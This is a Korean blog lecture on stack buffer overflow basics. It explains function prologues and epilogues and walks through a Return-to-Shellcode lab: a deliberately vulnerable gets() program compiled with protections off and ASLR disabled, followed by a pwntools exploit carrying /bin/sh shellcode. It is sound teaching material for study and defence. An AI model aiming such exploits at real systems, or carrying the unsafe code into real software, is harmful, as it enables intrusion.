Sechack

[시스템 해킹] 4강 - Stack Buffer Overflow 기초 본문

Lecture/pwnable

[시스템 해킹] 4강 - Stack Buffer Overflow 기초

Sechack 2021. 12. 12. 02:24
반응형

이번 시간에는 시스템 해킹의 기초이자 매우 중요한 취약점인 Stack Buffer Overflow에 대해서 알아보겠습니다.

 

Buffer Overflow는 할당된 메모리 공간을 넘어서 다른 메모리에까지 데이터를 입력할 수 있는 취약점입니다.

줄여서 BOF라고 많이 부릅니다. BOF에는 크게 두가지 종류가 있습니다.

첫번째는 Stack영역에서 발생하는 Stack Buffer Overflow이고 두번째는 Heap영역에서 발생하는 Heap Overflow입니다.

BOF가 발생하는 원인은 다양합니다. gets, scanf와 같은 입력 길이 검증이 없는 안전하지 않은 함수를 사용해서 발생하기도 하고 size체크를 하는 안전한 함수를 사용하지만 integer overflow와 같은 로직상의 버그로 안해서 발생되기도 합니다.

 

이번 시간에는 Stack Buffer Overflow취약점을 통해서 프로그램의 흐름을 변조하는 원리를 이해하고 고전적이고 기초적인 Stack Buffer Overflow취약점 공격 기법인 Return to Shellcode를 실습해볼 것입니다.

 

 

Stack Buffer Overflow를 통한 공격 기법을 이해하기 위해서는 함수 프롤로그와 에필로그에 대한 지식이 있어야 합니다.

공격 기법을 익히기 전에 먼저 함수 프롤로그와 에필로그에 대해 공부해봅시다.

 

 

함수 프롤로그

 

일반적으로 C언어가 어셈블리 언어로 컴파일 되면서 함수 내부에는 도입부분에서 함수를 시작하는 함수 프롤로그 부분과 함수가 끝날때 함수를 정리하는 에필로그 부분이 삽입됩니다.

 

먼저 일반적으로 C언어에서 함수를 만들고 64bit바이너리로 컴파일했을때 함수 프롤로그는 다음과 같은 형태입니다.

 

push rbp
mov rbp, rsp

 

rbp는 스택 베이스 포인터입니다. 먼저 이전 함수의 rbp를 스택에 push해줍니다. push를 해주는 이유는 함수 에필로그 부분을 공부하시면 자연스럽게 알게됩니다. 그리고 현재 rsp레지스터의 값을  rbp로 옮깁니다. 현재의 스택 주소를 현재 함수 내에서의 스택 베이스 포인터로 사용하게끔 하는것이죠.

함수를 호출될때마다 이러한 프롤로그 과정이 실행되는 이유는 함수간의 독립된 스택 영역을 만들어야 다른 함수의 지역변수에 간섭을 하는 행위를 방지할 수 있기 때문입니다.

만약 rbp가 없다고 가정하면 함수들은 스택 공간을 공유해서 사용하게 됩니다.

이렇게 되면 a함수를 호출하고 나면 b함수의 지역변수의 값이 다른 값으로 바뀌어있는 대참사가 발생할 수 있습니다.

따라서 이러한 일을 방지하고자 rbp가 존재하고 함수 프롤로그가 존재하는 것입니다.

그리고 어셈블리어를 많이 보신 분들은 잘 아시겠지만 거의 대부분의 지역변수는 rbp - offset꼴로 참조가 됩니다.

 

 

최종적으로 기본적인 스택 구조는 위의 그림과 같은 형태가 됩니다.

rbp가 스택에 push되고 rbp기준으로 지역변수를 참조하는건 위에 설명한 구조인데 rbp아래 미리 쌓여있는 저 ret은 무엇일까요? 바로 함수가 끝나고 돌아갈 return address입니다.

 

함수를 호출할때는 일반적으로 call instruction을 사용합니다. 그런데 이 call은 직관적으로 해석을 해보자면

 

push next rip
jmp rip

 

이런식으로 동작합니다. 실제로 위와같이 rip레지스터를 참조하는 문법이 허용되진 않습니다. 직관적인 이해를 위해서 만들어낸 코드이므로 오해하지 마시기 바랍니다.

 

현재 실행되고 있는 코드의 주소를 담고있는 레지스터가 rip레지스터인건 다들 잘 아실겁니다.

함수가 호출될때는 다음 명령어가 담긴 주소를 스택에 넣은 후 함수를 호출합니다.

즉 가장 먼저 함수가 끝나고 돌아갈 주소인 return address가 스택에 들어가고 그다음에 함수 프롤로그 부분에서 이전 함수에서 사용하던 rbp가 스택에 들어가게 됩니다.

스택에 push된 이전 함수에서 사용하던 stack base pointer는 stack frame pointer, 줄여서 sfp라고 부릅니다.

아무튼 최종적으로는 위의 과정때문에 위에 보여드린 사진과 같은 스택 구조가 만들어지는 것입니다.

 

 

함수 에필로그

 

함수 에필로그는 함수를 정리하는 역할을 합니다. 함수 에필로그의 기본적인 형태는 다음과 같습니다.

 

leave
ret

 

먼저 leave instruction을 풀어서 쓰면 아래와 같습니다.

 

mov rsp, rbp
pop rbp

 

프롤로그 과정과 정 반대인것을 알 수 있습니다. 맞습니다. 함수가 끝났으니까 rbp를 다시 원래 함수의 stack base pointer로 복귀하는 과정입니다.

C언어를 배울때 지역변수는 함수가 끝날때 소멸된다는 말을 들어보셨을텐데 이게 딱 그 과정입니다.

이제 함수에서 사용하던 stack base pointer는 알 수 없게 되고 해당 함수에서 사용하던 스택 영역은 다른 함수가 사용하게 될것입니다. 아무튼 rsp도 원래대로 복귀하고 rbp를 스택에서 꺼내와서 원상복구 시켜놓는것을 볼 수 있습니다.

 

pop rip
jmp rip

 

leave다음에 호출되는 ret instruction도 풀어서 쓰자면 위와 같습니다. 앞에서도 말했다시피 직관적인 이해를 위해서 생성한 코드입니다. 실제로 저런 문법은 허용되지 않습니다.

앞서 프롤로그 부분에서 call instruction으로 함수가 호출될때 스택에 함수 호출을 끝내고 돌아갈 주소인 return address를 넣는다는것을 알아보았습니다.

ret instruction은 스택에 있는 return address를 꺼내와서 그 주소로 점프뛰는 역할을 합니다.

return address는 call바로 다음 명령어 주소니까 함수 에필로그 과정을 거치면서 아무일 없었다는듯이 함수가 끝난 뒤에 원상태로 돌아가서 나머지 명령어들을 실행시킬 수 있는것이죠.

반응형

 

 

프로그램 흐름 변조

 

함수 프롤로그와 에필로그에 대해 알아보았습니다. 창의력이 넘치시는 분들이라면 한가지 생각을 해볼 수 있습니다.

만약에 스택에 있는 return address가 변조된다면? 프롤로그에서 push한 stack frame pointer가 변조된다면?

맞습니다. 이것이 바로 Stack Buffer Overflow의 핵심 아이디어입니다.

 

만약에 입력 길이에 제한이 없다면 지역변수를 넘어서 stack frame pointer와 그 다음에 있는 return address를 변조할 수 있을것입니다.

 

return address를 변조할 수 있을 경우 여러분이 생각하시는 대로 변조된 주소로 프로그램의 흐름을 돌릴 수 있습니다.

stack frame pointer를 변조할 수 있을 경우에는 fake stack을 만들어서 stack pivot이라는 기법으로 공격을 진행할 수 있는데 이건 지금 이해하기에는 다소 어려운 기법이라 나중에 자세하게 설명할 예정입니다.

 

우리는 2강에서 Shellcode를 만들어 보았습니다. 그러면 합리적인 생각을 해볼 수 있습니다.

스택에 Shellcode를 넣은 후 return address를 Shellcode가 있는 스택 주소로 덮어버린다면?

프로그램의 흐름이 Shellcode가 삽입된 주소로 바뀌면서 우리가 삽입한 Shellcode가 실행될것입니다.

즉 우리가 원하는 임의의 코드를 실행시킬 수 있는 매우 강력한 공격을 수행할 수 있습니다.

 

그럼 한번 Shellcode를 삽입하고 삽입한 Shellcode로 프로그램의 흐름을 돌려서 원하는 Shellcode를 실행하는 기법인 Return to Shellcode를 실습해보도록 하겠습니다.

 

 

실습

 

구축해둔 ubuntu 20.04를 준비합시다. 먼저 vim으로 취약한 함수인 gets함수를 이용해서 Stack Buffer Overflow가 터지게끔 코딩을 해봅시다.

 

#include <stdio.h>

int main(void)
{
	char buf[0x100] = { 0, };
	printf("Input : ");
	gets(buf);

	return 0;
}

 

취약점이 존재하는 소스코드입니다.

 

gcc -o bof bof.c -z execstack -z norelro -no-pie -fno-stack-protector

 

기본 옵션으로 컴파일할 경우에는 보호기법들에 막혀서 실습이 정상적으로 진행되지 않으므로 위와같이 모든 보호기법을 해제하고 컴파일을 해야합니다.

 

echo 0 > /proc/sys/kernel/randomize_va_space

 

또한 위 명령어로 ASLR보호기법까지 해제해주셔야 정상적으로 실습을 진행하실 수 있습니다. 위 명령어는 꼭 root유저로 실행해주세요.

 

 

 

 

 

생성된 바이너리를 gdb로 디스어셈블을 해보면 위에서 배운 함수 프롤로그, 에필로그 과정이 보입니다.

그리고 C언어 소스코드와 같이 우리가 선언한 배열의 값을 전부 0으로 초기화해주는걸 볼 수 있습니다.

그리고 0x402004주소를 printf함수의 인자로 가져가는데 이 주소에는

 

 

이러한 문자열이 들어있습니다. 맞습니다. 우리가 C언어로 코딩한대로 동작합니다.

그리고 취약점이 터지는 부분인 gets함수입니다. gets함수의 인자로는 rbp-0x100이 들어가는것을 볼 수 있습니다.

하지만 gets함수는 입력 길이에 제한이 없으므로 0x100이상으로 입력할 수 있습니다.

따라서 stack frame pointer와 return address를 모두 덮을 수 있습니다. 0x100까지가 딱 우리가 선언한 배열이고 0x108만큼 데이터를 입력하게 되면 stack frame pointer을 덮어쓰게 됩니다. 그리고 0x110만큼 입력한다면 return address까지 덮이게 됩니다.

(참고로 C언어상에서 0x100크기의 배열을 선언했다고 딱 그만큼만 스택을 사용하는건 아닙니다. 조금 더 사용할수도 있으므로 소스코드를 너무 신뢰하지 마시고 항상 gdb와 같은 분석 도구로 정확히 offset을 확인하세요.)

 

그러면 이제 0x110만큼 입력하면 return address까지 덮인다는 사실을 알았으니 Shellcode가 들어가는 주소만 알면 됩니다.

 

from pwn import *

p = process("./bof")

p.interactive()

 

먼저 위와 같이 pwntools로 프로그램을 실행만 하는 코드를 작성해주고 실행해주세요.

 

그러면 사진과 같이 프로그램이 실행되면서 process의 pid가 같이 출력되는걸 보실 수 있습니다.

저 pid를 이용해서 이제 process를 gdb로 attach해줘야 합니다.

 

gdb -q
at pid

 

새 창을 띄우고 위와 같은 명령어로 먼저 gdb를 켜준 후에 attach명령어를 줄인 at명령어로 해당 process를 attach해주세요.

 

 

그러면 실행중인 프로세스에 gdb가 붙습니다.

 

 

위와 같이 main함수를 디스어셈블 합니다.

 

 

그리고 위의 사진과 같이 gets함수 바로 아래의 명령어에 break point를 걸어주세요. 그리고 c명령어로 프로그램을 계속해서 실행합니다. 그리고 python스크립트를 실행한 곳으로 창을 바꿔서 aaaaaaaa를 입력한 후 엔터를 누릅니다.

(주소는 다를 수 있습니다.)

 

 

그러면 위와 같이 우리가 break point를 걸어놓은 곳에서 실행이 멈추게 됩니다.

그리고 메모리나 레지스터 상태를 보여줍니다. 복잡하게 생각할 필요 없이 stack부분을 보면 aaaaaaaa이 들어간 주소가 0x00007fffffffdf50인것을 알 수 있습니다. 우리는 aaaaaaaa대신에 저 버퍼에 Shellcode를 넣을것이므로 0x00007fffffffdf50으로 return address를 변조해주면 됩니다.

 

(스택 주소는 각각 다 다르니까 꼭 직접 gdb에서 확인하시기 바랍니다.)

 

 

이제 확인할건 전부 확인했습니다. exploit만 작성하면 됩니다.

제가 작성한 exploit을 보기 전에 웬만하면 스스로 exploit을 작성해 보시기 바랍니다.

 

from pwn import *

p = process("./bof")

shellcode = b"\x48\x31\xc0\x50\xb0\x3b\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"

payload = shellcode
payload += b"a"*(0x108-len(shellcode))
payload += p64(0x00007fffffffdf50)

p.sendline(payload)

p.interactive()

 

지난시간에 배운 pwntools로 exploit을 작성하시면 됩니다. Shellcode는 2강에서 만들어봤던걸 사용했습니다. pwntools의 shellcraft기능을 이용해서 Shellcode를 생성하는것도 좋습니다. exploit을 실행해보면

 

 

프로그램의 흐름이 Shellcode로 조작되면서 우리가 삽입한 Shellcode가 정상적으로 실행된것을 보실 수 있습니다.

왜 이런 일이 일어나는지 확실하게 분석하고 이번 강의는 끝내도록 하겠습니다.

 

 

먼저 sendline위에 pause를 걸어주세요. 그리고 exploit을 실행합니다.

 

 

그러면 데이터를 보내기 직전에 pause로 인해서 실행을 멈추게 됩니다. 저기서 아무키나 입력하면 다시 실행되는데 일단은 gdb로 attach를 해야합니다.

 

 

마찬가지로 다른 창을 켜서 gdb로 attach를 해줍니다.

 

 

이번에는 main함수의 ret부분에 break point를 겁니다. 그리고 c명령어로 프로그램을 마저 실행해주고 python스크립트를 실행한 창에서 아무키나 눌러서 pause를 풀어줍시다.

 

 

그러면 main함수의 ret부분에서 break point로 인해 멈추게 됩니다. stack을 보면 rsp가 가리키는 곳이 Shellcode가 들어간 스택 주소라는것을 알 수 있습니다.

return address가 덮인것을 직접 두눈으로 확인했습니다.

 

 

ni로 조금더 파고들어가보면 위와같이 /bin/sh가 정상적으로 실행되는것을 보실 수 있습니다.

 

 

이번 시간에는 Stack Buffer Overflow에 대해서 이해하고 어떤 방식으로 악용할 수 있는지 알아보았습니다.

gdb사용이 처음이신 분들은 실습 부분에서 다소 혼란스러울수도 있습니다. 하지만 gdb사용법을 구글링해서 찾아보고 몇번씩만 명령어를 사용해보면 금방 익숙해집니다.

 

사실 이번 시간에 실습한 Return to Shellcode는 고전적인 기법으로 요즘에는 보호기법들 때문에 완전 특수한 상황이 아니면 잘 쓰이지 않고 잘 먹히지도 않습니다.

따라서 다음 강의에서는 어떤 메모리 보호기법들이 있는지 알아보는 시간을 가져볼것이고 그 다음부터는 RTL, ROP등 보호기법을 어느정도 우회하면서 exploit하는 Stack Buffer Overflow기법들을 배워볼것입니다.

반응형
Comments